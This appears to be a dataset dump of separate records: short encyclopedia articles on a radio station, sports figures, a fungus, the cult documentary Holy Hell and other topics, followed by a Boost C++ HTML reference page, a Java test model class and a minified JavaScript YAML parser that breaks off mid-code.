text
stringlengths 1
22.8M
|
|---|
WCNA (95.9 FM, "Mix 95.9") is a radio station licensed to the community of Potts Camp, Mississippi, United States, and serving the Tupelo, Mississippi, area. The station is owned by Stephen C. Davenport, through licensee Telesouth Communications Inc.
WCNA "Mix 95.9" airs a hot adult contemporary format. WCNA's signal can be heard from Bolivar, Tennessee, to Houston, Mississippi, and from Olive Branch, Mississippi, to Red Bay, Alabama.
The station was assigned the WCNA call letters by the Federal Communications Commission on February 17, 1995.
In June 2019, WCNA changed their format from talk to hot adult contemporary, branded as "Mix 95.9".
References
External links
WCNA Website
CNA
Radio stations established in 1996
Marshall County, Mississippi
1996 establishments in Mississippi
Hot adult contemporary radio stations in the United States
|
The ENKA Open is a defunct WTA Tour affiliated tennis tournament played in 1998. It was held in Istanbul in Turkey and played on outdoor hard courts.
Results
Singles
Doubles
References
WTA Results Archive
Hard court tennis tournaments
Tennis tournaments in Turkey
WTA Tour
Defunct tennis tournaments in Europe
Defunct sports competitions in Turkey
|
Mycorrhaphium africanum is a species of tooth fungus in the family Steccherinaceae. It was described as new to science in 2003 by mycologists Dominique Claude Mossebo and Leif Ryvarden. The type was collected in the Dja Faunal Reserve in Cameroon, where it was found fruiting on fallen dead hardwood branches.
Description
The brownish, funnel-shaped cap measures in diameter, and is supported by a smooth stipe that is long and 3–6 mm in diameter. It is initially whitish before becoming pale brown to reddish brown with pink or white spots. The spines on the cap underside are white but become brownish when dry. They are densely packed, and measure up to long.
Mycorrhaphium africanum has a dimitic hyphal system, comprising generative and skeletal hyphae. The skeletal hyphae are confined to the context of the stipe. Basidia are club-shaped, measuring 12–14 by 4–5 µm. The spores are smooth, hyaline, and cylindrical, with dimensions of 4.5–5 by 2 µm.
References
Steccherinaceae
Fungi of Africa
Fungi described in 2003
Taxa named by Leif Ryvarden
|
Mike Redwine (born May 19, 1964) is a former college football coach. He served as the head football coach at MidAmerica Nazarene University in Olathe, Kansas from 1991 to 2000 and Howard Payne University in Brownwood, Texas from 2005 to 2007, compiling career college football coaching record of 66–69–2.
Coaching career
MidAmerica Nazarene
Redwine was the head football coach at the MidAmerica Nazarene University in Olathe, Kansas for 10 seasons, from 1991 to 2000, and compiling a record of 53–52–2. His teams made two appearances in the Victory Bowl, in 1997 and 1999, losing both games. They also played in the Wheat Bowl for 1995 and 1998, winning and losing one game each.
Howard Payne
Redwine was the 19th head football coach for the Howard Payne University in Brownwood, Texas, serving for three seasons, from 2005 to 2007. His coaching record at Howard Payne was 13–17.
Head coaching record
College
References
1964 births
Living people
Howard Payne Yellow Jackets football coaches
MidAmerica Nazarene Pioneers football coaches
|
Holy Hell is a 2016 American documentary film by Will Allen about his experiences as a member of the Buddhafield cult for 22 years. The cult's leader, who has several names but is typically called Michel, is claimed to have abused his followers. The film uses footage Allen shot during his capacity as the group's videographer and new footage of interviews with former members and of the group in Hawaii.
The film premiered on January 25, 2016 at the 2016 Sundance Film Festival and saw a limited theatrical release in May 2016. It was picked up for broadcast by CNN and aired on September 1, 2016.
It was selected for competition at the Sundance Film Festival.
Background
When Will Allen, then 22, was forced to leave home in 1985 after his mother learned he was gay, his sister invited him to join a local alternative community and meditation group in West Hollywood, California she had been attending for nine months.
The group, led by Michel Rostand, eventually grew to one hundred members and began calling itself Buddhafield. Michel, born Jaime Gomez, was the son of a wealthy Venezuelan rancher; Michel had traveled to Hollywood in search of stardom. Michel landed a nonspeaking role in 1968's Rosemary's Baby, purportedly danced with Oakland Ballet, and apparently participated in adult films.
A film school graduate, Allen became Michel's documentarian and, as it is often described, propaganda minister. The group relocated to Austin, Texas in 1992 and then to Oahu, Hawaii. Allen left the group in 2007, after 22 years. In 2016, 85 or more followers remained with Michel in Hawaii.
Production
After leaving the group in 2007, Allen suffered a crisis and felt directionless. He attended the Sundance Film Festival, where he viewed films including Keep the Lights On. He felt he found a new community, and "thankful to see someone take their own life and put it up on-screen," he sought to do the same with his experiences in Buddhafield. He created Holy Hell hole over four years.
Allen left much of his footage with the group and had only 35 hours of edited footage of Buddhafield. He used this footage to create the documentary. Cinematographer Polly Morgan shot new footage of Michel and his followers in Hawaii by hiding in bushes, which she described as the greatest challenge in shooting the documentary. For this, she preferred small, inexpensive, and lightweight cameras that would be non-obstructive during filming, and she noted she used a 70-200mm zoom lens for long lens photography while hiding in the bushes. The production also filmed new interviews with former members of the cult.
Release
Holy Hell premiered at the Temple Theatre on January 25, 2016 during the Sundance Film Festival. The film later saw limited theatrical release on May 27, 2016. It was picked up for broadcast by CNN and aired on September 1, 2016.
Critical reception
The film was selected for competition at the 2016 Sundance Film Festival and 2016 Nashville Film Festival.
Music used in the documentary
The documentary features two popular songs: a cover of "Hooked on a Feeling" by Blue Swede and "Chasing Cars" by Snow Patrol.
"Hooked on a Feeling" plays at the beginning as footage is shown of members of the cult outdoors reaching for the sun in a euphoric and trance-like state as the song's refrain "I'm hooked on a feeling, I'm high on believing" plays on. "Chasing Cars" plays on toward the end of the documentary as ex-members of the cult are seen dancing in a field and while crying.
References
External links
Holy Hell at the Sundance Institute
2016 films
American documentary films
2016 documentary films
CNN Films films
Documentary films about religion in the United States
Films about cults
2010s American films
|
```html
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "path_to_url">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=US-ASCII">
<title>Struct template child_c</title>
<link rel="stylesheet" href="../../../../../doc/src/boostbook.css" type="text/css">
<meta name="generator" content="DocBook XSL Stylesheets V1.79.1">
<link rel="home" href="../../../index.html" title="The Boost C++ Libraries BoostBook Documentation Subset">
<link rel="up" href="../../../proto/reference.html#header.boost.proto.traits_hpp" title="Header <boost/proto/traits.hpp>">
<link rel="prev" href="right.html" title="Struct template right">
<link rel="next" href="../is_callable.html" title="Struct template is_callable">
</head>
<body bgcolor="white" text="black" link="#0000FF" vlink="#840084" alink="#0000FF">
<table cellpadding="2" width="100%"><tr>
<td valign="top"><img alt="Boost C++ Libraries" width="277" height="86" src="../../../../../boost.png"></td>
<td align="center"><a href="../../../../../index.html">Home</a></td>
<td align="center"><a href="../../../../../libs/libraries.htm">Libraries</a></td>
<td align="center"><a href="path_to_url">People</a></td>
<td align="center"><a href="path_to_url">FAQ</a></td>
<td align="center"><a href="../../../../../more/index.htm">More</a></td>
</tr></table>
<hr>
<div class="spirit-nav">
<a accesskey="p" href="right.html"><img src="../../../../../doc/src/images/prev.png" alt="Prev"></a><a accesskey="u" href="../../../proto/reference.html#header.boost.proto.traits_hpp"><img src="../../../../../doc/src/images/up.png" alt="Up"></a><a accesskey="h" href="../../../index.html"><img src="../../../../../doc/src/images/home.png" alt="Home"></a><a accesskey="n" href="../is_callable.html"><img src="../../../../../doc/src/images/next.png" alt="Next"></a>
</div>
<div class="refentry">
<a name="boost.proto.result_of.child_c"></a><div class="titlepage"></div>
<div class="refnamediv">
<h2><span class="refentrytitle">Struct template child_c</span></h2>
<p>boost::proto::result_of::child_c — A metafunction that returns the type of the <em class="replaceable"><code>N</code></em><sup>th</sup>
child of a Proto expression. </p>
</div>
<h2 xmlns:rev="path_to_url~gregod/boost/tools/doc/revision" class="refsynopsisdiv-title">Synopsis</h2>
<div xmlns:rev="path_to_url~gregod/boost/tools/doc/revision" class="refsynopsisdiv"><pre class="synopsis"><span class="comment">// In header: <<a class="link" href="../../../proto/reference.html#header.boost.proto.traits_hpp" title="Header <boost/proto/traits.hpp>">boost/proto/traits.hpp</a>>
</span><span class="keyword">template</span><span class="special"><</span><span class="keyword">typename</span> <a class="link" href="../../../Expr.html" title="Concept Expr">Expr</a><span class="special">,</span> <span class="keyword">long</span> N<span class="special">></span>
<span class="keyword">struct</span> <a class="link" href="child_c.html" title="Struct template child_c">child_c</a> <span class="special">{</span>
<span class="comment">// <a class="link" href="child_c.html#boost.proto.result_of.child_ctypes">types</a></span>
<span class="keyword">typedef</span> <span class="keyword">typename</span> <span class="identifier">Expr</span><span class="special">::</span><span class="identifier">proto_child0</span> <a class="link" href="child_c.html#boost.proto.result_of.child_c.value_type"><span class="identifier">value_type</span></a><span class="special">;</span>
<span class="keyword">typedef</span> <em class="replaceable"><code><span class="identifier">see</span><span class="special">-</span><span class="identifier">below</span></code></em> <a class="link" href="child_c.html#boost.proto.result_of.child_c.type"><span class="identifier">type</span></a><span class="special">;</span>
<span class="special">}</span><span class="special">;</span></pre></div>
<div class="refsect1">
<a name="id-1.3.33.5.41.17.4"></a><h2>Description</h2>
<p>
A metafunction that returns the type of the <em class="replaceable"><code>N</code></em><sup>th</sup>
child of a Proto expression. <code class="computeroutput">N</code> must be 0 or less than
<code class="computeroutput">Expr::proto_arity::value</code>.
</p>
<div class="refsect2">
<a name="id-1.3.33.5.41.17.4.3"></a><h3>
<a name="boost.proto.result_of.child_ctypes"></a><code class="computeroutput">child_c</code>
public
types</h3>
<div class="orderedlist"><ol class="orderedlist" type="1">
<li class="listitem">
<p>
<span class="keyword">typedef</span> <span class="keyword">typename</span> <span class="identifier">Expr</span><span class="special">::</span><span class="identifier">proto_child0</span> <a name="boost.proto.result_of.child_c.value_type"></a><span class="identifier">value_type</span><span class="special">;</span></p>
<p>
The raw type of the <em class="replaceable"><code>N</code></em><sup>th</sup> child as it is stored
within <code class="computeroutput">Expr</code>. This may be a value or a reference.
</p>
</li>
<li class="listitem">
<p>
<span class="keyword">typedef</span> <em class="replaceable"><code><span class="identifier">see</span><span class="special">-</span><span class="identifier">below</span></code></em> <a name="boost.proto.result_of.child_c.type"></a><span class="identifier">type</span><span class="special">;</span></p>
<p>
If <code class="computeroutput">Expr</code> is not a reference type, <code class="computeroutput">type</code>
is computed as follows:
</p>
<div class="itemizedlist"><ul class="itemizedlist" style="list-style-type: disc; ">
<li class="listitem"><p>
<code class="computeroutput">T const &</code> becomes <code class="computeroutput">T</code>
</p></li>
<li class="listitem"><p>
<code class="computeroutput">T &</code> becomes <code class="computeroutput">T</code>
</p></li>
<li class="listitem"><p>
<code class="computeroutput">T</code> becomes <code class="computeroutput">T</code>
</p></li>
</ul></div>
<p>
</p>
<p>
If <code class="computeroutput">Expr</code> is a non-const reference type, <code class="computeroutput">type</code>
is computed as follows:
</p>
<div class="itemizedlist"><ul class="itemizedlist" style="list-style-type: disc; ">
<li class="listitem"><p>
<code class="computeroutput">T const &</code> becomes <code class="computeroutput">T const &</code>
</p></li>
<li class="listitem"><p>
<code class="computeroutput">T &</code> becomes <code class="computeroutput">T &</code>
</p></li>
<li class="listitem"><p>
<code class="computeroutput">T</code> becomes <code class="computeroutput">T &</code>
</p></li>
</ul></div>
<p>
</p>
<p>
If <code class="computeroutput">Expr</code> is a const reference type, <code class="computeroutput">type</code>
is computed as follows:
</p>
<div class="itemizedlist"><ul class="itemizedlist" style="list-style-type: disc; ">
<li class="listitem"><p>
<code class="computeroutput">T const &</code> becomes <code class="computeroutput">T const &</code>
</p></li>
<li class="listitem"><p>
<code class="computeroutput">T &</code> becomes <code class="computeroutput">T &</code>
</p></li>
<li class="listitem"><p>
<code class="computeroutput">T</code> becomes <code class="computeroutput">T const &</code>
</p></li>
</ul></div>
<p>
</p>
</li>
</ol></div>
</div>
</div>
</div>
<table xmlns:rev="path_to_url~gregod/boost/tools/doc/revision" width="100%"><tr>
<td align="left"></td>
file LICENSE_1_0.txt or copy at <a href="path_to_url" target="_top">path_to_url
</p>
</div></td>
</tr></table>
<hr>
<div class="spirit-nav">
<a accesskey="p" href="right.html"><img src="../../../../../doc/src/images/prev.png" alt="Prev"></a><a accesskey="u" href="../../../proto/reference.html#header.boost.proto.traits_hpp"><img src="../../../../../doc/src/images/up.png" alt="Up"></a><a accesskey="h" href="../../../index.html"><img src="../../../../../doc/src/images/home.png" alt="Home"></a><a accesskey="n" href="../is_callable.html"><img src="../../../../../doc/src/images/next.png" alt="Next"></a>
</div>
</body>
</html>
```
|
is a Japanese role-playing video game series and one of Nihon Falcom's flagship franchises. The series started on the PC-8801 in 1987. The games take place in a fictional world with some geographical resemblance to Earth, and chronicle the adventures of Adol Christin, a red-haired swordsman, and his companions. Two separate OVA anime series of Ys have also been released, as well as many soundtracks featuring the game's music.
Video games
Main series
Spin-offs
Remakes
Other media
References
External links
Falcom's website
Ys
Media
Ys
|
Yusmay Bicet Planas (born 1 December 1983) is a Cuban triple jumper.
Her personal best jump is 14.61 metres, achieved in March 2004 in Havana, Cuba .
Achievements
External links
1983 births
Living people
Cuban female triple jumpers
Athletes (track and field) at the 2003 Pan American Games
Athletes (track and field) at the 2004 Summer Olympics
Olympic athletes for Cuba
Pan American Games medalists in athletics (track and field)
Pan American Games bronze medalists for Cuba
Medalists at the 2003 Pan American Games
|
Məhəmmədi (also, Falmay-Mahomedly, Magamedly, Magomedli, Magomedly, Mamedi, and Mamedli) is a village and municipality in the Absheron Rayon of Azerbaijan. It has a population of 2,758.
References
Populated places in Absheron District
|
```java
/*******************************************************************************
* <p>
* <p>
* path_to_url
* <p>
* Unless required by applicable law or agreed to in writing, software
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
*******************************************************************************/
package com.intuit.wasabi.tests.model;
import com.intuit.wasabi.tests.library.util.serialstrategies.DefaultNameExclusionStrategy;
import com.intuit.wasabi.tests.library.util.serialstrategies.SerializationStrategy;
/**
* A very simple User wrapper.
*/
public class User extends ModelItem {
/**
* The user name
*/
public String userID;
/**
* The serialization strategy for comparisons and JSON serialization.
*/
private static SerializationStrategy serializationStrategy = new DefaultNameExclusionStrategy();
/**
* Copies a user.
*
* @param other the user to copy.
*/
public User(User other) {
update(other);
}
/**
* Creates a user with a specific ID.
*
* @param userID the userID.
*/
public User(String userID) {
this.userID = userID;
}
/**
* Sets the userID and returns this instance.
*
* @param userID the userID
* @return this
*/
public User setUserId(String userID) {
this.userID = userID;
return this;
}
@Override
public void setSerializationStrategy(SerializationStrategy serializationStrategy) {
User.serializationStrategy = serializationStrategy;
}
@Override
public SerializationStrategy getSerializationStrategy() {
return User.serializationStrategy;
}
}
```
|
```javascript
(function(){function r(e,n,t){function o(i,f){if(!n[i]){if(!e[i]){var c="function"==typeof require&&require;if(!f&&c)return c(i,!0);if(u)return u(i,!0);var a=new Error("Cannot find module '"+i+"'");throw a.code="MODULE_NOT_FOUND",a}var p=n[i]={exports:{}};e[i][0].call(p.exports,function(r){var n=e[i][1][r];return o(n||r)},p,p.exports,r,e,n,t)}return n[i].exports}for(var u="function"==typeof require&&require,i=0;i<t.length;i++)o(t[i]);return o}return r})()({1:[function(require,module,exports){var Dumper,Inline,Utils;Utils=require("./Utils");Inline=require("./Inline");Dumper=function(){function Dumper(){}Dumper.indentation=4;Dumper.prototype.dump=function(input,inline,indent,exceptionOnInvalidType,objectEncoder){var i,key,len,output,prefix,value,willBeInlined;if(inline==null){inline=0}if(indent==null){indent=0}if(exceptionOnInvalidType==null){exceptionOnInvalidType=false}if(objectEncoder==null){objectEncoder=null}output="";if(typeof input==="function"){return output}prefix=indent?Utils.strRepeat(" ",indent):"";if(inline<=0||typeof input!=="object"||input instanceof Date||Utils.isEmpty(input)){output+=prefix+Inline.dump(input,exceptionOnInvalidType,objectEncoder)}else{if(input instanceof Array){for(i=0,len=input.length;i<len;i++){value=input[i];willBeInlined=inline-1<=0||typeof value!=="object"||Utils.isEmpty(value);output+=prefix+"-"+(willBeInlined?" ":"\n")+this.dump(value,inline-1,willBeInlined?0:indent+this.indentation,exceptionOnInvalidType,objectEncoder)+(willBeInlined?"\n":"")}}else{for(key in input){value=input[key];willBeInlined=inline-1<=0||typeof value!=="object"||Utils.isEmpty(value);output+=prefix+Inline.dump(key,exceptionOnInvalidType,objectEncoder)+":"+(willBeInlined?" ":"\n")+this.dump(value,inline-1,willBeInlined?0:indent+this.indentation,exceptionOnInvalidType,objectEncoder)+(willBeInlined?"\n":"")}}}return output};return Dumper}();module.exports=Dumper},{"./Inline":6,"./Utils":10}],2:[function(require,module,exports){var Escaper,Pattern;Pattern=require("./Pattern");Escaper=function(){var ch;function Escaper(){}Escaper.LIST_ESCAPEES=["\\","\\\\",'\\"','"',"\0","","","","","","","","\b","\t","\n","\v","\f","\r","","","","","","","","","","","","","","","","","","",(ch=String.fromCharCode)(133),ch(160),ch(8232),ch(8233)];Escaper.LIST_ESCAPED=["\\\\",'\\"','\\"','\\"',"\\0","\\x01","\\x02","\\x03","\\x04","\\x05","\\x06","\\a","\\b","\\t","\\n","\\v","\\f","\\r","\\x0e","\\x0f","\\x10","\\x11","\\x12","\\x13","\\x14","\\x15","\\x16","\\x17","\\x18","\\x19","\\x1a","\\e","\\x1c","\\x1d","\\x1e","\\x1f","\\N","\\_","\\L","\\P"];Escaper.MAPPING_ESCAPEES_TO_ESCAPED=function(){var i,j,mapping,ref;mapping={};for(i=j=0,ref=Escaper.LIST_ESCAPEES.length;0<=ref?j<ref:j>ref;i=0<=ref?++j:--j){mapping[Escaper.LIST_ESCAPEES[i]]=Escaper.LIST_ESCAPED[i]}return mapping}();Escaper.PATTERN_CHARACTERS_TO_ESCAPE=new Pattern("[\\x00-\\x1f]||||");Escaper.PATTERN_MAPPING_ESCAPEES=new Pattern(Escaper.LIST_ESCAPEES.join("|").split("\\").join("\\\\"));Escaper.PATTERN_SINGLE_QUOTING=new Pattern("[\\s'\":{}[\\],&*#?]|^[-?|<>=!%@`]");Escaper.requiresDoubleQuoting=function(value){return this.PATTERN_CHARACTERS_TO_ESCAPE.test(value)};Escaper.escapeWithDoubleQuotes=function(value){var result;result=this.PATTERN_MAPPING_ESCAPEES.replace(value,function(_this){return function(str){return _this.MAPPING_ESCAPEES_TO_ESCAPED[str]}}(this));return'"'+result+'"'};Escaper.requiresSingleQuoting=function(value){return this.PATTERN_SINGLE_QUOTING.test(value)};Escaper.escapeWithSingleQuotes=function(value){return"'"+value.replace(/'/g,"''")+"'"};return Escaper}();module.exports=Escaper},{"./Pattern":8}],3:[function(require,module,exports){var DumpException,extend=function(child,parent){for(var key in parent){if(hasProp.call(parent,key))child[key]=parent[key]}function ctor(){this.constructor=child}ctor.prototype=parent.prototype;child.prototype=new ctor;child.__super__=parent.prototype;return child},hasProp={}.hasOwnProperty;DumpException=function(superClass){extend(DumpException,superClass);function DumpException(message,parsedLine,snippet){DumpException.__super__.constructor.call(this,message);this.message=message;this.parsedLine=parsedLine;this.snippet=snippet}DumpException.prototype.toString=function(){if(this.parsedLine!=null&&this.snippet!=null){return"<DumpException> "+this.message+" (line "+this.parsedLine+": '"+this.snippet+"')"}else{return"<DumpException> "+this.message}};return DumpException}(Error);module.exports=DumpException},{}],4:[function(require,module,exports){var ParseException,extend=function(child,parent){for(var key in parent){if(hasProp.call(parent,key))child[key]=parent[key]}function ctor(){this.constructor=child}ctor.prototype=parent.prototype;child.prototype=new ctor;child.__super__=parent.prototype;return child},hasProp={}.hasOwnProperty;ParseException=function(superClass){extend(ParseException,superClass);function ParseException(message,parsedLine,snippet){ParseException.__super__.constructor.call(this,message);this.message=message;this.parsedLine=parsedLine;this.snippet=snippet}ParseException.prototype.toString=function(){if(this.parsedLine!=null&&this.snippet!=null){return"<ParseException> "+this.message+" (line "+this.parsedLine+": '"+this.snippet+"')"}else{return"<ParseException> "+this.message}};return ParseException}(Error);module.exports=ParseException},{}],5:[function(require,module,exports){var ParseMore,extend=function(child,parent){for(var key in parent){if(hasProp.call(parent,key))child[key]=parent[key]}function ctor(){this.constructor=child}ctor.prototype=parent.prototype;child.prototype=new ctor;child.__super__=parent.prototype;return child},hasProp={}.hasOwnProperty;ParseMore=function(superClass){extend(ParseMore,superClass);function ParseMore(message,parsedLine,snippet){ParseMore.__super__.constructor.call(this,message);this.message=message;this.parsedLine=parsedLine;this.snippet=snippet}ParseMore.prototype.toString=function(){if(this.parsedLine!=null&&this.snippet!=null){return"<ParseMore> "+this.message+" (line "+this.parsedLine+": '"+this.snippet+"')"}else{return"<ParseMore> "+this.message}};return ParseMore}(Error);module.exports=ParseMore},{}],6:[function(require,module,exports){var DumpException,Escaper,Inline,ParseException,ParseMore,Pattern,Unescaper,Utils,indexOf=[].indexOf||function(item){for(var i=0,l=this.length;i<l;i++){if(i in this&&this[i]===item)return i}return-1};Pattern=require("./Pattern");Unescaper=require("./Unescaper");Escaper=require("./Escaper");Utils=require("./Utils");ParseException=require("./Exception/ParseException");ParseMore=require("./Exception/ParseMore");DumpException=require("./Exception/DumpException");Inline=function(){function Inline(){}Inline.REGEX_QUOTED_STRING="(?:\"(?:[^\"\\\\]*(?:\\\\.[^\"\\\\]*)*)\"|'(?:[^']*(?:''[^']*)*)')";Inline.PATTERN_TRAILING_COMMENTS=new Pattern("^\\s*#.*$");Inline.PATTERN_QUOTED_SCALAR=new Pattern("^"+Inline.REGEX_QUOTED_STRING);Inline.PATTERN_THOUSAND_NUMERIC_SCALAR=new Pattern("^(-|\\+)?[0-9,]+(\\.[0-9]+)?$");Inline.PATTERN_SCALAR_BY_DELIMITERS={};Inline.settings={};Inline.configure=function(exceptionOnInvalidType,objectDecoder){if(exceptionOnInvalidType==null){exceptionOnInvalidType=null}if(objectDecoder==null){objectDecoder=null}this.settings.exceptionOnInvalidType=exceptionOnInvalidType;this.settings.objectDecoder=objectDecoder};Inline.parse=function(value,exceptionOnInvalidType,objectDecoder){var context,result;if(exceptionOnInvalidType==null){exceptionOnInvalidType=false}if(objectDecoder==null){objectDecoder=null}this.settings.exceptionOnInvalidType=exceptionOnInvalidType;this.settings.objectDecoder=objectDecoder;if(value==null){return""}value=Utils.trim(value);if(0===value.length){return""}context={exceptionOnInvalidType:exceptionOnInvalidType,objectDecoder:objectDecoder,i:0};switch(value.charAt(0)){case"[":result=this.parseSequence(value,context);++context.i;break;case"{":result=this.parseMapping(value,context);++context.i;break;default:result=this.parseScalar(value,null,['"',"'"],context)}if(this.PATTERN_TRAILING_COMMENTS.replace(value.slice(context.i),"")!==""){throw new ParseException('Unexpected characters near "'+value.slice(context.i)+'".')}return result};Inline.dump=function(value,exceptionOnInvalidType,objectEncoder){var ref,result,type;if(exceptionOnInvalidType==null){exceptionOnInvalidType=false}if(objectEncoder==null){objectEncoder=null}if(value==null){return"null"}type=typeof value;if(type==="object"){if(value instanceof Date){return value.toISOString()}else if(objectEncoder!=null){result=objectEncoder(value);if(typeof result==="string"||result!=null){return result}}return this.dumpObject(value)}if(type==="boolean"){return value?"true":"false"}if(Utils.isDigits(value)){return type==="string"?"'"+value+"'":String(parseInt(value))}if(Utils.isNumeric(value)){return type==="string"?"'"+value+"'":String(parseFloat(value))}if(type==="number"){return value===Infinity?".Inf":value===-Infinity?"-.Inf":isNaN(value)?".NaN":value}if(Escaper.requiresDoubleQuoting(value)){return Escaper.escapeWithDoubleQuotes(value)}if(Escaper.requiresSingleQuoting(value)){return Escaper.escapeWithSingleQuotes(value)}if(""===value){return'""'}if(Utils.PATTERN_DATE.test(value)){return"'"+value+"'"}if((ref=value.toLowerCase())==="null"||ref==="~"||ref==="true"||ref==="false"){return"'"+value+"'"}return value};Inline.dumpObject=function(value,exceptionOnInvalidType,objectSupport){var j,key,len1,output,val;if(objectSupport==null){objectSupport=null}if(value instanceof Array){output=[];for(j=0,len1=value.length;j<len1;j++){val=value[j];output.push(this.dump(val))}return"["+output.join(", ")+"]"}else{output=[];for(key in value){val=value[key];output.push(this.dump(key)+": "+this.dump(val))}return"{"+output.join(", ")+"}"}};Inline.parseScalar=function(scalar,delimiters,stringDelimiters,context,evaluate){var i,joinedDelimiters,match,output,pattern,ref,ref1,strpos,tmp;if(delimiters==null){delimiters=null}if(stringDelimiters==null){stringDelimiters=['"',"'"]}if(context==null){context=null}if(evaluate==null){evaluate=true}if(context==null){context={exceptionOnInvalidType:this.settings.exceptionOnInvalidType,objectDecoder:this.settings.objectDecoder,i:0}}i=context.i;if(ref=scalar.charAt(i),indexOf.call(stringDelimiters,ref)>=0){output=this.parseQuotedScalar(scalar,context);i=context.i;if(delimiters!=null){tmp=Utils.ltrim(scalar.slice(i)," ");if(!(ref1=tmp.charAt(0),indexOf.call(delimiters,ref1)>=0)){throw new ParseException("Unexpected characters ("+scalar.slice(i)+").")}}}else{if(!delimiters){output=scalar.slice(i);i+=output.length;strpos=output.indexOf(" #");if(strpos!==-1){output=Utils.rtrim(output.slice(0,strpos))}}else{joinedDelimiters=delimiters.join("|");pattern=this.PATTERN_SCALAR_BY_DELIMITERS[joinedDelimiters];if(pattern==null){pattern=new Pattern("^(.+?)("+joinedDelimiters+")");this.PATTERN_SCALAR_BY_DELIMITERS[joinedDelimiters]=pattern}if(match=pattern.exec(scalar.slice(i))){output=match[1];i+=output.length}else{throw new ParseException("Malformed inline YAML string ("+scalar+").")}}if(evaluate){output=this.evaluateScalar(output,context)}}context.i=i;return output};Inline.parseQuotedScalar=function(scalar,context){var i,match,output;i=context.i;if(!(match=this.PATTERN_QUOTED_SCALAR.exec(scalar.slice(i)))){throw new ParseMore("Malformed inline YAML string ("+scalar.slice(i)+").")}output=match[0].substr(1,match[0].length-2);if('"'===scalar.charAt(i)){output=Unescaper.unescapeDoubleQuotedString(output)}else{output=Unescaper.unescapeSingleQuotedString(output)}i+=match[0].length;context.i=i;return output};Inline.parseSequence=function(sequence,context){var e,error,i,isQuoted,len,output,ref,value;output=[];len=sequence.length;i=context.i;i+=1;while(i<len){context.i=i;switch(sequence.charAt(i)){case"[":output.push(this.parseSequence(sequence,context));i=context.i;break;case"{":output.push(this.parseMapping(sequence,context));i=context.i;break;case"]":return output;case",":case" ":case"\n":break;default:isQuoted=(ref=sequence.charAt(i))==='"'||ref==="'";value=this.parseScalar(sequence,[",","]"],['"',"'"],context);i=context.i;if(!isQuoted&&typeof value==="string"&&(value.indexOf(": ")!==-1||value.indexOf(":\n")!==-1)){try{value=this.parseMapping("{"+value+"}")}catch(error){e=error}}output.push(value);--i}++i}throw new ParseMore("Malformed inline YAML string "+sequence)};Inline.parseMapping=function(mapping,context){var done,i,key,len,output,shouldContinueWhileLoop,value;output={};len=mapping.length;i=context.i;i+=1;shouldContinueWhileLoop=false;while(i<len){context.i=i;switch(mapping.charAt(i)){case" ":case",":case"\n":++i;context.i=i;shouldContinueWhileLoop=true;break;case"}":return output}if(shouldContinueWhileLoop){shouldContinueWhileLoop=false;continue}key=this.parseScalar(mapping,[":"," ","\n"],['"',"'"],context,false);i=context.i;done=false;while(i<len){context.i=i;switch(mapping.charAt(i)){case"[":value=this.parseSequence(mapping,context);i=context.i;if(output[key]===void 0){output[key]=value}done=true;break;case"{":value=this.parseMapping(mapping,context);i=context.i;if(output[key]===void 0){output[key]=value}done=true;break;case":":case" ":case"\n":break;default:value=this.parseScalar(mapping,[",","}"],['"',"'"],context);i=context.i;if(output[key]===void 0){output[key]=value}done=true;--i}++i;if(done){break}}}throw new ParseMore("Malformed inline YAML string "+mapping)};Inline.evaluateScalar=function(scalar,context){var cast,date,exceptionOnInvalidType,firstChar,firstSpace,firstWord,objectDecoder,raw,scalarLower,subValue,trimmedScalar;scalar=Utils.trim(scalar);scalarLower=scalar.toLowerCase();switch(scalarLower){case"null":case"":case"~":return null;case"true":return true;case"false":return false;case".inf":return Infinity;case".nan":return NaN;case"-.inf":return Infinity;default:firstChar=scalarLower.charAt(0);switch(firstChar){case"!":firstSpace=scalar.indexOf(" ");if(firstSpace===-1){firstWord=scalarLower}else{firstWord=scalarLower.slice(0,firstSpace)}switch(firstWord){case"!":if(firstSpace!==-1){return parseInt(this.parseScalar(scalar.slice(2)))}return null;case"!str":return Utils.ltrim(scalar.slice(4));case"!!str":return Utils.ltrim(scalar.slice(5));case"!!int":return parseInt(this.parseScalar(scalar.slice(5)));case"!!bool":return Utils.parseBoolean(this.parseScalar(scalar.slice(6)),false);case"!!float":return parseFloat(this.parseScalar(scalar.slice(7)));case"!!timestamp":return Utils.stringToDate(Utils.ltrim(scalar.slice(11)));default:if(context==null){context={exceptionOnInvalidType:this.settings.exceptionOnInvalidType,objectDecoder:this.settings.objectDecoder,i:0}}objectDecoder=context.objectDecoder,exceptionOnInvalidType=context.exceptionOnInvalidType;if(objectDecoder){trimmedScalar=Utils.rtrim(scalar);firstSpace=trimmedScalar.indexOf(" ");if(firstSpace===-1){return objectDecoder(trimmedScalar,null)}else{subValue=Utils.ltrim(trimmedScalar.slice(firstSpace+1));if(!(subValue.length>0)){subValue=null}return objectDecoder(trimmedScalar.slice(0,firstSpace),subValue)}}if(exceptionOnInvalidType){throw new ParseException("Custom object support when parsing a YAML file has been disabled.")}return null}break;case"0":if("0x"===scalar.slice(0,2)){return Utils.hexDec(scalar)}else if(Utils.isDigits(scalar)){return Utils.octDec(scalar)}else if(Utils.isNumeric(scalar)){return parseFloat(scalar)}else{return scalar}break;case"+":if(Utils.isDigits(scalar)){raw=scalar;cast=parseInt(raw);if(raw===String(cast)){return cast}else{return raw}}else if(Utils.isNumeric(scalar)){return parseFloat(scalar)}else if(this.PATTERN_THOUSAND_NUMERIC_SCALAR.test(scalar)){return parseFloat(scalar.replace(",",""))}return scalar;case"-":if(Utils.isDigits(scalar.slice(1))){if("0"===scalar.charAt(1)){return-Utils.octDec(scalar.slice(1))}else{raw=scalar.slice(1);cast=parseInt(raw);if(raw===String(cast)){return-cast}else{return-raw}}}else if(Utils.isNumeric(scalar)){return parseFloat(scalar)}else if(this.PATTERN_THOUSAND_NUMERIC_SCALAR.test(scalar)){return parseFloat(scalar.replace(",",""))}return scalar;default:if(date=Utils.stringToDate(scalar)){return date}else if(Utils.isNumeric(scalar)){return parseFloat(scalar)}else if(this.PATTERN_THOUSAND_NUMERIC_SCALAR.test(scalar)){return parseFloat(scalar.replace(",",""))}return scalar}}};return 